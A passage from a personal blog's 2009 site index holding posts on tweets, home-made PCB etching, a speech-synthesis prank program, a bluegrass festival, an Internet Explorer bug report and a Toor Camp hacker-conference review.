#\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-08-09-2/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-08-09"},{"body":"\\t- I love coffee so friggin\u0026rsquo; much! #\n\\t- Golden Boy Fish Sauce http://twitpic.com/d8oze #ftw #hilarious #\n\\t- Goram football games suck for those who live near stadiums #yyc #\n\\t- Wow, what a beautiful scene: http://tr.im/w25G #flickr #photography #earth #\n\\t- [URL Fixed!] PCB Etching Progress http://tinyurl.com/llg4la #diy #protospace #backyard-chemistry #\n\\t- PCB Etching Progress http://tinyurl.com/llg4la #\n\\t- #Apple - please change the home/end/page up/page down functionality of OS X. The case-by-case basis currently used is bafflingly hindering #\n\\t- RT @NoxDineen: Potential for awesome is off the charts! RT @zemote: Ice-T repairs a mac - ROFL http://bit.ly/yDU1w #wtf #apple #macbook #\n\\t- Takin my rxn products (CuCl, FeCl, etc) of PCB etching to the firehall for disposal #protospace #backyard-chemistry http://twitpic.com/d2sid #\n\\t- STP Replugged - Who would you call? #osx #software #free \\t#speech-synthesis http://post.ly/1xaa #\n\\t- Awesome WP File download tracking plugin: http://tr.im/vNfC \\t#wordpress http://post.ly/1xYX #\n\\t- Great #Arduino Starter Kit by #Sparkfun: http://tr.im/vMyJ #\n\\t- I wish I had about 48 additional hours in my day, I\u0026rsquo;d spend half of that sleeping #\n\\t- Crikies! This is the freaky lore of nightmeres: http://twitpic.com/cxh95 #walmart #scary #wtf #\n\\t- FAIL: Getting closer to the process working, but not there yet.. http://twitpic.com/cxddm #\n\\t- Trying to make PCBs again http://twitpic.com/cxbrb #\n\\t- Trippy, just saw a completely different Twitter login screen.. #\n\\t- For the many of you who don\u0026rsquo;t wash your hands after EVERY trip to the washroom: \u0026ldquo;WTF!? You all make me sick\u0026rdquo; #\n\\t- Is it time for a fork of OpenOffice? Maybe so: http://tr.im/vDdi #\n\\t- Whoa Posterous FTW! http://tinyurl.com/l296bs #\n\\t- The Logo of Doc http://post.ly/1v9z #\n\\t- Bluegrass Music Owns http://tinyurl.com/kk5xkc I just wrote up a post on these festivals I keep going to and why they raise the musical bar #\n\\t- Bluegrass Music Owns http://tinyurl.com/kk5xkc #\n\\t- RT @feliciaday Felicia Fails the hashtag, haha. Use #emmysfail Restore the writing awards! http://bit.ly/iOueN #\n\\t- #yyc I love this moisture sooo much! It feels life inducing. It\u0026rsquo;s candy/health food for my lungs! #\n\\t- RT @cheeky_geeky Barack Obama faces 30 death threats a day, stretching U.S. Secret Service - http://bit.ly/1pKQj1 #\n\\t- Currently ironing another soon-to-be PCB http://twitpic.com/cszb0 #hardhacking #protospace #diy #backyard-chemistry #\n\\t- Want to launch your own satellite? Got ~$8K? http://tr.im/vu95 \u0026ldquo;Holy Coke-Bunnies Batman!\u0026rdquo; #space #diy #\n\\t- The part I consistently hate about replacing ppls sites is that I always find so much go\u0026rsquo;ram text content bleeding for a rewrite. #wordpress #\n\\t- RT @pgoss Firefox: One Billion and Counting http://bit.ly/oK5nx #\n\\t- RT @NeilGilbert Awesome Craigslist ad: http://tinyurl.com/mqm4bv #\n\\t- Ripping out yet another #wordpress site. The Atahualpa theme is so freakin awesome, it\u0026rsquo;s template crack: http://tr.im/vtjg #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-08-09/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-08-09"},{"body":"","link":"https://dawning.ca/tags/backyard-chemistry/","section":"tags","tags":null,"title":"Backyard Chemistry"},{"body":"","link":"https://dawning.ca/tags/homemade/","section":"tags","tags":null,"title":"Homemade"},{"body":"","link":"https://dawning.ca/tags/pcb/","section":"tags","tags":null,"title":"PCB"},{"body":" HappyThawts Transferred Toner Well, a few of us Protospacers met up and worked out some more home-made cheap Printed Circuit Board progress.. Vast thanks to the help of my esteemed friend HappyThawts, we finally got out a board of usable quality! Woot! We used a single sided Arduino pattern I found (saved me some seri\nous time). And followed a fairly well documented process involving use of Ferric Chloride, Acetone, Clothing Irons, Cheap Magazine Paper, Water and patience.\nFreshly Etched Finished Board All in all, it worked damn well. I\u0026rsquo;ve been getting ready to run a Protospace workshop on the topic for awhile now, so this particular attempt had been intended to be the first run through with a big group. But after several failed attempts at getting a usable PCB out of the process (and some other problems involving shipping stuff from China taking for FREAKIN\u0026rsquo; ever), I decided to delay the first real workshop somewhat. Nevertheless, the results were great and I\u0026rsquo;m certain the next attempt will be a great deal better on account of the toner transfer used here was several days old and probably a lot more settled than toner that\u0026rsquo;s minutes old. :D\n","link":"https://dawning.ca/posts/first-decent-pcb/","section":"posts","tags":["diy","calgary","alberta","canada","PCB","protospace","printed circuit board","homemade","backyard chemistry"],"title":"PCB Etching Progress"},{"body":"","link":"https://dawning.ca/tags/printed-circuit-board/","section":"tags","tags":null,"title":"Printed Circuit Board"},{"body":"","link":"https://dawning.ca/tags/protospace/","section":"tags","tags":null,"title":"Protospace"},{"body":"","link":"https://dawning.ca/tags/software/","section":"tags","tags":null,"title":"Software"},{"body":"","link":"https://dawning.ca/tags/speech/","section":"tags","tags":null,"title":"Speech"},{"body":"I think it\u0026rsquo;s time again that I re-plug my free little \u0026ldquo;Shit Talker Phoenix\u0026rdquo; program I\u0026rsquo;ve written for OSX.\nAs you can see from the screenshot, it\u0026rsquo;s a window saturated with a mess of buttons. Each of these buttons are linked in to a speech synthesis engine, so when you press a button, the computer speaks whatever\u0026rsquo;s on the button.\nI based this entirely off of the old Shit Talker by Jaundice, a well known, ancient but hilarious little program for making \u0026ldquo;prank\u0026rdquo; phone calls. I used this program back in the days of Windows 98 and if you try to run it now you\u0026rsquo;ll be met with general instability and ugliness (though you could run it inside a virtual machine). I was motivated to re-write it for OSX simply because that\u0026rsquo;s what I was using at the time and I wanted something I could run natively to do the same thing.\nI actually had written a Java version of STP prior to this, but I had so many headaches in trying to bundle it in to something people would find easy to run that I eventually gave up on that version of it. Though I have goofed with the idea of resurrecting that project, but distributing it as a Java Applet and thus give people a web address they could go to in order to just run it out of their browser.\nSo what you think? Maybe you\u0026rsquo;ll have fun using this to call your mom and pretend you\u0026rsquo;ve become a robot? It\u0026rsquo;s always a good bet to use this when dealing with telemarketers too. What would you use STP for?\nSee and download the full gallery on posterous\nPosted via email from Doc Dawning\n","link":"https://dawning.ca/posts/stp-replugged-who-would-you-call-osx-software-free-speech-synthesis/","section":"posts","tags":["software","free","stp","shit talker","OSX","speech","synethsis"],"title":"STP Replugged - Who would you call?"},{"body":"","link":"https://dawning.ca/tags/synethsis/","section":"tags","tags":null,"title":"Synethsis"},{"body":"","link":"https://dawning.ca/tags/bearfoot-bluegrass/","section":"tags","tags":null,"title":"Bearfoot Bluegrass"},{"body":"","link":"https://dawning.ca/tags/blueberry/","section":"tags","tags":null,"title":"Blueberry"},{"body":"","link":"https://dawning.ca/tags/bluegrass/","section":"tags","tags":null,"title":"Bluegrass"},{"body":"I just got back from my latest installment of Bluegrass music at the Blueberry Bluegrass music festival in Stony Plain, Alberta. I\u0026rsquo;ve gone to 4 such festivals now and as much as it\u0026rsquo;s a little heavy on the \u0026ldquo;country music\u0026rdquo; side for my tastes there\u0026rsquo;s a few factors that keep bringing me back. As such, I\u0026rsquo;ve decided it\u0026rsquo;s about time that I give a little rant on what makes this stuff so awesome.. So here we go!\nMusicians\nSierra Hull\nThe biggest factor that keeps bringing me back is that I find the popular noise out there is saturated with pitch-corrected drones models that have been dressed up and bundled as brands. Thus most of them can\u0026rsquo;t carry a tune to save their lives (but are saved by sound effects). Further, the content of their music tends to focused around adolescent high school topics. If you don\u0026rsquo;t yet agree, then you haven\u0026rsquo;t listened to enough Bluegrass (or at all).\nThe musicians at Bluegrass festivals are ACTUAL musicians.. Take Sierra Hull for example, she\u0026rsquo;s a damn fine example of the caliber of muscian you\u0026rsquo;ll find a Bluegrass festival. Though she\u0026rsquo;s good looking enough to go main-stream, this kid completely demolishes posers \u0026ldquo;brands\u0026rdquo; like Kanye West. She sings like the best of them, but forget that, she completely owns the Mandolin and can tame even the most caffinated mind with her mastery of it.\nFor a Bluegrass band to make it by any stretch, the band must demonstrate genuine musical competence. There isn\u0026rsquo;t much technology to hide their flaws and so all they bring to the stage is themselves. It\u0026rsquo;s pretty rare for a Bluegrass band to live off their music, so those you see are there because they love the music. That reinforces the quality of what they bring with sincere passion and dedication. These are passionate people that channel their talents in to poetry and harmony.\nClick here for Blueberry Pictures\nDepth Bluegrass music (as I\u0026rsquo;ve observed it) tends to touch on difficult tales of human woe. You won\u0026rsquo;t find stories such as someone trying to validate themselves by bragging about stealing, killing or sexing. Instead, the stories tend to be of dealing with the heart break of losing a loved one (usually to death), struggling to survive under brutally harsh conditions or any other subject of substantial emotional complexity. There\u0026rsquo;s also some cutely hidden comedy in several tunes including the very existence of a set of Bluegrass tales known by my posse as \u0026ldquo;Murder Ballads\u0026rdquo;.\nSome Bluegrass tunes are also heavily laced with Christian references. I personally don\u0026rsquo;t subscribe to that school of thought, though I don\u0026rsquo;t mind listening to it as it\u0026rsquo;s mostly songs about feeling good. In the few cases where you hear the typical Christian bullying \u0026ldquo;join us or suffer\u0026rdquo; ranting, I still find grace in the music itself as it\u0026rsquo;s usually quite technically competent and it\u0026rsquo;s not like hearing another Christian try to politely bully me will damage me. Every rose has thorns - I just smell it and smile.\nRelaxation Another factor that keeps me hooked on Bluegrass festivals is that the genre entails fairly soft sounding instruments. So when you sit by a stage of bands playing Bluegrass, you are bathed in fairly calming music. I often find myself dosing off and having fantastically restful little cap-naps at these festivals. It\u0026rsquo;s one of the best medicines I\u0026rsquo;ve yet to experience.\nBlueberry 2009 Drama In the case of the 2009 offering of the Blueberry Bluegrass Festival, there was a fair bit of drama one of the nights as an unsually massive storm ravaged the festival site (and acutally all over Alberta). The storm was reported to have wind speeds around 100km/h (and it felt like at least that). A lake feel from the sky in a matter of minutes and the area was bombarded with a few dozen dump trucks worth of peanut sized hail. Personally, there were a few moments while I hid under a big trailer (that was shaking in the wind) where I wondered if there was a tornado in coming and I wondered what that experience was to come. Thankfully, the storm died down and it only took a few hours of cleaning to get our camp site back in order.\nUnfortunately the same storm took a much greater toll on another similar festival about 100 Km away - apparently someone was killed by falling equipment and their stage was completely destroyed.\nBluegrass Fav\u0026rsquo;s Some of my favourite Bluegrass bands include:\nBearfoot Bluegrass (though looks like they\u0026rsquo;ve changed vastly recently, not sure about the changes yet)\nSierra Hull\nEric Uglum\n","link":"https://dawning.ca/posts/bluegrass/","section":"posts","tags":["Music","alberta","blueberry","bluegrass","festival","stony plain","camping","sierra hull","musicians","kayne west","bearfoot bluegrass","eric uglum"],"title":"Bluegrass Music Owns"},{"body":"","link":"https://dawning.ca/tags/camping/","section":"tags","tags":null,"title":"Camping"},{"body":"","link":"https://dawning.ca/tags/eric-uglum/","section":"tags","tags":null,"title":"Eric Uglum"},{"body":"","link":"https://dawning.ca/tags/festival/","section":"tags","tags":null,"title":"Festival"},{"body":"","link":"https://dawning.ca/tags/kayne-west/","section":"tags","tags":null,"title":"Kayne West"},{"body":"","link":"https://dawning.ca/tags/music/","section":"tags","tags":null,"title":"Music"},{"body":"","link":"https://dawning.ca/tags/musicians/","section":"tags","tags":null,"title":"Musicians"},{"body":"","link":"https://dawning.ca/tags/sierra-hull/","section":"tags","tags":null,"title":"Sierra Hull"},{"body":"","link":"https://dawning.ca/tags/stony-plain/","section":"tags","tags":null,"title":"Stony Plain"},{"body":" So in doing my typical rounds I\u0026rsquo;ve come across the greatest thing since Wordpress, Twitter, Facebook, Delicious, Flickr combined - and by \u0026ldquo;since\u0026rdquo; then, I mean, if there\u0026rsquo;s even been such an awesome combo of tools before\u0026hellip;\nI\u0026rsquo;ve setup a new sub-domain for dawning.ca) - this is http://stream.dawning.ca - this URL points to a Posterous server that shows my posts and content of coolness.. Yeah, yeah, that\u0026rsquo;s nice.. Where it goes from \u0026ldquo;/yawn\u0026rdquo; to \u0026ldquo;/clap \u0026amp; /sing\u0026rdquo; is that I can email in a post (precisely what I\u0026rsquo;m doing now) and the message contents are automatically added to my posterous page (stream.dawning.ca) but a URL to the post is auto tweeted, any images are automatically linked up and posted to Flickr and any attached videos get automatically dumped to Vimeo and Youtube.. Ohh, also - any urls get dumped in your Delicious account (and while it\u0026rsquo;s at it, posts references to it all in facebook if you like).\nMust I remind you all that it\u0026rsquo;s doing this for you from an email you submit? Yeah, that\u0026rsquo;s right. That\u0026rsquo;s called \u0026ldquo;Frakin\u0026rsquo; awesome\u0026rdquo; is what that\u0026rsquo;s called!\nOkay, so now you must go forth and give it a whirl yourself! http://www.posterous.com\nPosted via email from Doc Dawning\n","link":"https://dawning.ca/posts/whoa-posterous-ftw/","section":"posts","tags":null,"title":"Whoa Posterous FTW!"},{"body":"","link":"https://dawning.ca/tags/assembly/","section":"tags","tags":null,"title":"Assembly"},{"body":"","link":"https://dawning.ca/tags/chemistry/","section":"tags","tags":null,"title":"Chemistry"},{"body":"","link":"https://dawning.ca/tags/etching/","section":"tags","tags":null,"title":"Etching"},{"body":"","link":"https://dawning.ca/tags/happythawts/","section":"tags","tags":null,"title":"Happythawts"},{"body":"","link":"https://dawning.ca/tags/hard-hacking/","section":"tags","tags":null,"title":"Hard Hacking"},{"body":"","link":"https://dawning.ca/tags/manufacturing/","section":"tags","tags":null,"title":"Manufacturing"},{"body":" My very first PCB Well, with the priceless aid of my dear friend HappyThawts, I\u0026rsquo;ve managed to produce my first home-made Printed Circuit Board!\nHow it went There were a bunch of weird issues that came up in making it and thus it\u0026rsquo;s not all that ideal, though I could hack it to work. The main challenge was that my copper clad boards were actually covered with PhotoResist (for masking boards via UV). The process we used entailed working directly on a layer of Copper. Thankfully Happy realized that Acetone would probably send the PhotoResist on it\u0026rsquo;s merry way to aqueous exile in my trash-chemicals bucket. She was dead-on there.\nAnother problem was that we used Ferric Chloride as our etchant, however, the particular solution I had on hand was given to me by someone cleaning out their closet a few years ago. It turned out that the Ferric we had was 12 years old! Happy informed me that it tends to lose it\u0026rsquo;s muscle over time, and the etching we did took a lot longer than it should have.\nThe Process The process we followed is a well-documented method that\u0026rsquo;s meant to aid in cheap, rapid prototyping. There are many small variants on this process to choose from. I love the notion that I can come up with an idea and later that night have a working prototype built out. In addition to written instructions being a dime a dozen, there\u0026rsquo;s a ton out there and some good YouTube videos on it too.\nIn short the steps are:\n\\t- Print out your desired circuit pattern on the low quality (thin) magazine paper using a lazer printer. Glossy magazine paper doesn\u0026rsquo;t hold the toner well and the cheap paper make it easy for you to remove the paper at the right time just by weting it with water and letting it fall apart.\n\\t- Clean off some Copper-Clad (essentially a fiber-glass board with Copper plated on a side), position the magazine paper on the board and apply a bunch of prolonged heat via an Iron.\n\\t- Remove the magazine paper by dipping the board in water and gently brushing away the paper.\n\\t- Dip the board in an etchant such as Ferric Chloride. Check on it closely to monitor your process. Observe proper chemical handling safety precautions.\n\\t- If you like, you can remove the toner with Acetone / Nail Polish Remover, though I like keeping the toner on the traces to isolate the copper a little more from the elements.\n\\t- Go ahead and use your board!\nWhat\u0026rsquo;s Next Next I\u0026rsquo;ll be repeating this process, but using more appropriate boards and fresh Ferric Chloride. I expect this to work out really well and a few Google Searches on the subject will re-inforce how many people are making this work for them. I\u0026rsquo;ll blog on this in more detail as I continue on.\nWhat would you make? So, with this established, I\u0026rsquo;m wondering what kinds of boards people out there would use this process for? Personally, I\u0026rsquo;m a fan of making a bunch of Arduino rip-offs with it. In fact, the board I made this time is a single-sided Arduino board.\n","link":"https://dawning.ca/posts/first-pcb/","section":"posts","tags":["hardware","electronics","diy","PCB","chemistry","etching","manufacturing","happythawts","assembly","hard hacking","Zombie Apocalypse"],"title":"World, meet my first home-made circuit board"},{"body":"","link":"https://dawning.ca/tags/zombie-apocalypse/","section":"tags","tags":null,"title":"Zombie Apocalypse"},{"body":"","link":"https://dawning.ca/tags/8/","section":"tags","tags":null,"title":"8"},{"body":"","link":"https://dawning.ca/tags/annoyance/","section":"tags","tags":null,"title":"Annoyance"},{"body":"","link":"https://dawning.ca/tags/bug/","section":"tags","tags":null,"title":"Bug"},{"body":"","link":"https://dawning.ca/tags/bug-report/","section":"tags","tags":null,"title":"Bug Report"},{"body":"","link":"https://dawning.ca/tags/customer-satisfaction/","section":"tags","tags":null,"title":"Customer Satisfaction"},{"body":"","link":"https://dawning.ca/tags/firefox/","section":"tags","tags":null,"title":"Firefox"},{"body":"","link":"https://dawning.ca/tags/ie/","section":"tags","tags":null,"title":"IE"},{"body":"","link":"https://dawning.ca/tags/internet-explorer/","section":"tags","tags":null,"title":"Internet Explorer"},{"body":"","link":"https://dawning.ca/tags/microsoft/","section":"tags","tags":null,"title":"Microsoft"},{"body":"","link":"https://dawning.ca/tags/opera/","section":"tags","tags":null,"title":"Opera"},{"body":" Put Simply Here\u0026rsquo;s the anti-epic tale of my distinct efforts to improve Microsoft Pusher Internet Explorer.\nWhy would I want to improve IE? Well, I don\u0026rsquo;t really, but a sad number of users on the net don\u0026rsquo;t yet know any better. It seems clear to me that Microsoft\u0026rsquo;s selection of what web standards to implement (not the W3C internationally agreed upon standards, but rather their own) must be either the product of negligence or an attempt to push their own agenda (mainly to make their competition look foolish in the eyes of their lesser informed users). I think that kind of approach can only work for so long - users continue learn.\nThe Spark Ugh.. WTF Microsoft? I was working away on a fun little project to get a background gradient image to look good on a page I was editing. The key was that while I had this nice gradient background, if anyone went in to edit that page with a WYSIWYG, they\u0026rsquo;d get in to trouble quickly as they could only work with how high the gradient background image was. That sucked massively, there was also a lot of hand editing of style info for HTML tags required along the way, also sucky, I didn\u0026rsquo;t want editors to even need to know what HTML was to do their edits.\nThe solution I found was pretty awesome.. First I figured out that if I set the table I had been putting the content in to have transparent background properties, then I could dump the gradient in wrapper DIV tags. This got rid of the initial problem of each table cell repeating the gradient and screwing everything up. Of course, this added more HTML styling requirements. I solved that issue the way it\u0026rsquo;s meant to be solved, in CSS. The final key was to set a background-color for the DIV section. This has the effect of if the DIV section ends up being higher than the background image, the background color is shown. So I just set the background-color property to what the gradient faded out to and it looked seamless.. The div section could be made infinitely long the gradient would still look good.\nSo, there I had my editor working as it should, but as I tested it more heavily I found that IE 8 had a problem. From certain views (font size presets), it\u0026rsquo;d draw a black line along the bottom of the background image that made my gradient. I swiftly checked IE 6, Firefox 3.5 and Opera 9.x and couldn\u0026rsquo;t reproduce the issue elsewhere. Nevertheless, the bar would remain present in certain views with IE 8.\nLet me SHOW you What I mean I made a video of the issue as I felt this was definitely a bug that could annoy me for awhile as I hate stuff like that and it\u0026rsquo;s sort of a weird case to explain. Alas I posted this video on Vimeo:\nDoing the right thing So with this all documented/figured out, I decided I may as well admit this site is going to continue to have IE users for some time to come. I wasn\u0026rsquo;t willing to find another solution as the solution I found definitely seems as good as it\u0026rsquo;s getting. I expect that if I looked for a completely different approach, it wouldn\u0026rsquo;t work nearly as well with other browsers or the editor (WYSIWYG).\nThis meant submitting a bug report to Microsoft because I\u0026rsquo;m leaving this site as is. Of course, only a small portion of the IE users are likely to install updates, but at the very least I feel I\u0026rsquo;ve found a real bug that ought to be patched if I\u0026rsquo;m going to continue to try to endure IE. I\u0026rsquo;m tempted to add a bit of an easter egg to pop-up and insist visors install another browser, but that\u0026rsquo;ll have to live as a fantasy for now.\nSubsequent Hilarity My.. Err.. Hero? It turns out that Microsoft doesn\u0026rsquo;t really have much of a mechanism for allowing users to provide feedback. I found they do have some support for their One Care system to be criticized, and in fact I was so impressed with how that was organized it baffled me that the same approach wasn\u0026rsquo;t being provided for IE, but maybe they just figure they\u0026rsquo;re in little danger of being de-throned.\nI searched around and of course found other IE users have noticed the same lack of interest in user feedback. But I persisted, I was sure there\u0026rsquo;s got to be some means of getting the message to them, though it should never take much more effort than googling \u0026ldquo;Internet Explorer Murders Kittens Bug Report\u0026rdquo;.\nHow to report bugs for IE I finally found a reasonable place to give feedback to Microsoft. They have a plugin for IE that lets you report problematic websites. I suppose the idea behind this is that IE is perfect and shouldn\u0026rsquo;t really fail, so \u0026ldquo;naturally\u0026rdquo; any problems must be with sites that are out there.\nYou can use this plugin to then notify Microsoft of yet another website that doesn\u0026rsquo;t fully cater to their non-W3C standards. This is what I used to submit my issue to them. The form I filled out expressly asked me to not provide any personal information for reasons I can only speculate about. Maybe they outsource reading the reports to untrustworthy types?\nLesson to be Learned Err, that's a If you\u0026rsquo;re not a company stuck in the 90\u0026rsquo;s like Microshaft, you may be able to recognize that using the web is a massive part of MANY people\u0026rsquo;s work day. This means that when a widely used product like IE has a bug in it, even if it\u0026rsquo;s tiny, the users will notice and they often care.\nSoftware projects that will remain successful in this climate must provide a simple, fast and well-designed mechanism to help guide users in submitting meaningful bug reports. That is of course unless the project can afford to hire SkyNet to conduct exhaustive Quality Assurance. Let\u0026rsquo;s face it, writing super solid software is like trying to get to the speed of light, you may feel like you\u0026rsquo;re getting close, but at the end of the day that\u0026rsquo;s a dragon you\u0026rsquo;ll never catch, not even with an infinite supply of Doc Brown\u0026rsquo;s magical fire logs.\nI think competition between big players like Microsoft, Apple, Google and perhaps IBM \u0026amp; Sun Microsystems can be extremely healthy and driving for innovation, I sincerely hope that Microsoft manages to re-organize to really take full advantage of the current climate so they can keep the others on their toes. I have seen some great stuff come out of Microsoft on this wavelength in the past and I\u0026rsquo;m mostly thinking of XNA. I just hope when their Exchange momentum dies off they\u0026rsquo;ll manage to really get back on the horse and rock our worlds. I suppose for the moment Windows 7 has a glimmer of hope at providing that.\nOf course the other massive possibility is that entirely open movements like those generally referred to as Linux could also end up coming out on top as it\u0026rsquo;s all about the users with those projects, though I think total domination from that camp will require more of the population having an interest in getting their hands dirty in geeky details.\n\u0026ldquo;But I\u0026rsquo;ve only ever used ASP Browser Internet Explorer, what\u0026rsquo;s actually useful?\u0026rdquo; //\nIf you\u0026rsquo;ve only ever used the \u0026ldquo;Internet\u0026rdquo; by clicking on the blue e-button, you\u0026rsquo;re in for a hell of a treat. Go get Firefox (or Opera if you must). Once you\u0026rsquo;ve installed firefox, you should then go install a few helpful addons. If you need more detailed instructions, please comment below.\nMy top favorite addon is AdBlock Plus. This one lets you get Firefox to block ads from known advertising web servers. Firefox will re-write what you\u0026rsquo;re looking at to appear as though the undesired ad info had never been there. This is one of those awesome helpers that you forget about until you use a machine without it, then you wonder how all those other suckers out there can stand all that noise.\nAfter that, I fancy the Delicious addon. With that beauty I can store my bookmarks remotely on delicious. Since I use a crap-ton of different computers all the time storing bookmarks locally is a complete waste of my time, but through delicious they can all be put somewhere where I can always find them with no dependence on the workstation I\u0026rsquo;m using. The Delicious firefox addon lets you use Delicious inside firefox just like typical bookmarks.\nOf course there\u0026rsquo;s a ton of other great addons to use, go check them out. And if you\u0026rsquo;re already all over the firefox band-wagon, here\u0026rsquo;s a great place to go to get a very cool script to put on your site to help people make the switch.\nWhat do you think? There you have it - IE is a monster and I\u0026rsquo;ve spent vastly way too much time on this relatively minor bug. Nevertheless, I think it\u0026rsquo;s a good subject to really talk about and besides, I felt it\u0026rsquo;d make for an interest blog post. What Browser do you use?\n","link":"https://dawning.ca/posts/ie-bug-insanity/","section":"posts","tags":["bug","firefox","microsoft","internet explorer","8","IE","bug report","annoyance","customer satisfaction","opera","css","html","ranting"],"title":"Quest to Submit an Internet Explorer Bug Report"},{"body":"","link":"https://dawning.ca/tags/ranting/","section":"tags","tags":null,"title":"Ranting"},{"body":"","link":"https://dawning.ca/categories/web-browsers/","section":"categories","tags":null,"title":"Web Browsers"},{"body":"","link":"https://dawning.ca/tags/2009/","section":"tags","tags":null,"title":"2009"},{"body":"","link":"https://dawning.ca/tags/conference/","section":"tags","tags":null,"title":"Conference"},{"body":"","link":"https://dawning.ca/tags/creative/","section":"tags","tags":null,"title":"Creative"},{"body":"","link":"https://dawning.ca/tags/drama/","section":"tags","tags":null,"title":"Drama"},{"body":"","link":"https://dawning.ca/tags/hacker/","section":"tags","tags":null,"title":"Hacker"},{"body":"","link":"https://dawning.ca/tags/ignite/","section":"tags","tags":null,"title":"Ignite"},{"body":"","link":"https://dawning.ca/tags/levitate-energy/","section":"tags","tags":null,"title":"Levitate Energy"},{"body":"","link":"https://dawning.ca/tags/people/","section":"tags","tags":null,"title":"People"},{"body":"","link":"https://dawning.ca/tags/toor-camp/","section":"tags","tags":null,"title":"Toor Camp"},{"body":" Well I\u0026rsquo;ve been home from Toor Camp 2009 for a week now and I\u0026rsquo;m feeling it\u0026rsquo;s about time to post my personal review of all of this.\nIn Summary \\t- **In Short: **It was awesome\n\\t- **In slightly less-short: **It was rough in terms of heat, closed silo and drama\n\\t- **The Bottom Line: **I\u0026rsquo;ll be going next year\n\\t- Photos Here\nThe Good\nIn the Silo MakerBots! Toor Camp was awesome as I met all sorts of cool people. It was awesome in that at night when the heat was reasonable, it was fun to go around to various camp sites and visit with random like-minded people. I had many conversations with people where we shared a sense of relaxation around the notion of being able to talk full-speed and in the way we generally thought and still be understood. I guess that\u0026rsquo;s just a perk of being around a bunch of people that have spent just as much time grinding on the same kinds of stuff.\nThere was tons of interesting stuff being setup all over. People were quick to share their creativity and ideas. I learned a fair bit about security topics, which I suppose is to be expected at a hacker conference. I presented my old usb mouse mod at a little late night event called Ignite Toor. The Bad\nGettin By Survival The heat was brutal. Most days were a few degrees over 100F/40C and several people from our group were overwhelmed by it. As such they spent a fair bit of time in idling cars with the AC on full, puking in a bucket. Personally I was just really overheated, but I didn\u0026rsquo;t get sick, possibly due to massive water consumption on my part.\nDust was rampant. The camp site was located in an extremely dusty place. The dust was a very very fine powder that would get in everything. It was a factor that everyone there had to just accept as there\u0026rsquo;s little you can do about that, especially when the wind picked up.\nThe Venue (a retired nuclear missle) silo was highly attactive when discussed in HTML, but when it came to in practice - I can\u0026rsquo;t know the full facts, but the result was the silo didn\u0026rsquo;t get opened until near the end of the camp. And once it was opened the coordinators offered a list of hazards like Asbestos, Lead Paint, Possible radioactivity (though quite unlikely), Poorly Lit Drop Offs and so on. I suppose that\u0026rsquo;s to be expected, but I didn\u0026rsquo;t really consider it before hand - once on site I wasn\u0026rsquo;t very motivated to expose myself to much of that sweetness. The Ugly\nDouche-bags: Yes that little bit of grey metal to the upper left is their wind array for their main trailer. I never did see a solar panel. The hilarious ugliness at the camp was surrounded by this remarkably foolish \u0026ldquo;Energy\u0026rdquo; company Levitate. In the future, if you see this name just think Lying Morons and you\u0026rsquo;ll be fine.\nAs a key part of a forced last minute deal by the site owner, the campers were forced to attend a concert put on by this company claiming to be preparing to launch it\u0026rsquo;s hybrid solar/wind power technology. The campers were forced in that their attendance was required if access to the silo was to be granted. That in and of itself was epic moronity in the only thing attracting people to that site was the silo, denying access at all was entirely confusing and made me wonder if there were potential liability issues that perhaps needed to be reconsidered.\nLevitate posted the below freakin\u0026rsquo; amazing bullshit facebook post for the event that was saturated with blatant lies about the camp and the campers therein endorsing their activities:\nA group of the world’s smartest hackers will convene on July 3rd 2009 at a decommissioned nuclear missile site in the desert of Eastern Washington State. The goal: to solve some of the world’s most challenging issues through technology and to showcase a new large-scale renewable energy solution for the World.\nLiterally on top of a symbol that once represented global destruction, Levitate Energy and Tri-Film Productions present a renewable energy concert featuring the talents of Seattle bands Amber Pacific, Visqueen \u0026amp; Throw Me The Statue.\nThe entire production will be powered by Levitate’s ultra high efficiency hybrid Wind and Solar Modular Turbine Unit.\nThis is an invite only event but for more information contact Tri-Film Productions.\nA Banner Levitate should adopt I could spend time explaining how this is all bullshit (except perhaps the fact that \u0026ldquo;Tri-Film\u0026rdquo; was involved too). But the short of it was as follows:\nGas Powered Wind Mill. And by \\t- They took power from a diesel power generator used by the camp to power their concert.\n\\t- Their trucks with their wind power generators had at least one small gas power generator hidden away aboard\n\\t- The fundamental design of their wind power setup makes no sense if you have a crude understanding of what a moment force is - also understanding the absolute bare basics of fluid dynamics is enough to make you spit milk out your nose when you see their setup\n\\t- One of their people tried to get some friends of mine to cease standing like poles (as they were protesting). This began with dancing very very close to them and escalated to some kind of punching (I didn\u0026rsquo;t see it first-hand).\n\\t- To Reiterate: They blackmailed people to attend their concert, which was really a promo event where they were trying to snap a bunch of photos and the like\nAt the end of the day Silo Entrance At the end of the day I had a damned good time at Toor Camp 2009. I met a crap-ton of awesome people and had a great time learning, when I could take the heat.\nI hope that as this was the first Toor Camp, the next one will secure a more suitable venue and for me that mainly entails much less dust, heat \u0026amp; drama.\nThe camp organizers nailed down some key features fairly well (stuff like providing electrical power, internet service, water, pseudo-showers and a few other things).\n","link":"https://dawning.ca/posts/toor-camp-review/","section":"posts","tags":["electronics","toor camp","2009","washington","hacker","hack","conference","drama","levitate energy","ignite","creative","computer","people"],"title":"Toor Camp 2009 in Review"},{"body":"","link":"https://dawning.ca/tags/washington/","section":"tags","tags":null,"title":"Washington"},{"body":" Howdy all, if you some how haven\u0026rsquo;t heard yet, Firefox 3.5 is out. It boasts a pile of cool new features and performance improvements over previous versions. Now, go get it!\n","link":"https://dawning.ca/posts/ff3-5/","section":"posts","tags":null,"title":"Firefox 3.5 is out, now go get it!"},{"body":"","link":"https://dawning.ca/tags/address/","section":"tags","tags":null,"title":"Address"},{"body":"","link":"https://dawning.ca/tags/httpcfg/","section":"tags","tags":null,"title":"Httpcfg"},{"body":"","link":"https://dawning.ca/tags/iis/","section":"tags","tags":null,"title":"Iis"},{"body":"","link":"https://dawning.ca/tags/ip/","section":"tags","tags":null,"title":"Ip"},{"body":"","link":"https://dawning.ca/tags/port/","section":"tags","tags":null,"title":"Port"},{"body":"","link":"https://dawning.ca/tags/share/","section":"tags","tags":null,"title":"Share"},{"body":"","link":"https://dawning.ca/tags/stupid/","section":"tags","tags":null,"title":"Stupid"},{"body":" The Mission To run an Apache server (on Windows) on the same machine that was already hosting IIS.\nThe Strategy The plan was to alter each virtual host defined in IIS to not bind to the typical 